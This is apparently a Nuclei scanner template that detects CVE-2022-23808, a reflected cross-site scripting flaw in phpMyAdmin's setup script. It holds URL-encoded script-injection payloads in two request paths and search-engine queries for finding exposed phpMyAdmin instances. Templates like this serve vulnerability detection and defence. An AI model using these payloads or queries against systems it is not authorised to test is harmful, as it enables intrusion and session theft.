id: CVE-2022-23808

info:
  name: phpMyAdmin < 5.1.2 - Cross-Site Scripting
  author: cckuailong,daffainfo
  severity: medium
  description: An issue was discovered in phpMyAdmin 5.1 before 5.1.2 that could allow an attacker to inject malicious code into aspects of the setup script, which can allow cross-site or HTML injection.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the targeted user's browser, potentially leading to session hijacking, data theft, or other malicious activities.
  remediation: |
    Upgrade phpMyAdmin to version 5.1.2 or later to mitigate this vulnerability.
  reference:
    - https://mp.weixin.qq.com/s/c2kwxwVUn1ym7oqv9Uio_A
    - https://github.com/dipakpanchal456/CVE-2022-23808
    - https://nvd.nist.gov/vuln/detail/CVE-2022-23808
    - https://www.phpmyadmin.net/security/PMASA-2022-2/
    - https://infosecwriteups.com/exploit-cve-2022-23808-85041c6e5b97
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-23808
    cwe-id: CWE-79
    epss-score: 0.07965
    epss-percentile: 0.94
    cpe: cpe:2.3:a:phpmyadmin:phpmyadmin:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: phpmyadmin
    product: phpmyadmin
    shodan-query:
      - http.component:"phpmyadmin"
      - http.title:"phpmyadmin"
      - cpe:"cpe:2.3:a:phpmyadmin:phpmyadmin"
    fofa-query:
      - title="phpmyadmin"
      - body="pma_servername" && body="4.8.4"
    google-query: intitle:"phpmyadmin"
    hunter-query: app.name="phpmyadmin"&&web.body="pma_servername"&&web.body="4.8.4"
  tags: cve,cve2022,phpmyadmin,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/phpmyadmin/setup/index.php?page=servers&mode=test&id=%22%3e%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
      - "{{BaseURL}}/setup/index.php?page=servers&mode=test&id=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "\"></script><script>alert(document.domain)</script>"
          - "<h2>Add a new server</h2>"
          - "<title>phpMyAdmin setup"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022060fabfec09e498697e649f477ce8d051003c85e6a787600b65fa90b6f3bc90f8022100f8f71797f6fc7843de9740c6e4a8b0071766bb3cd53ab05bc85d902bc058379e:922c64590222798bb761d5b6d8e72950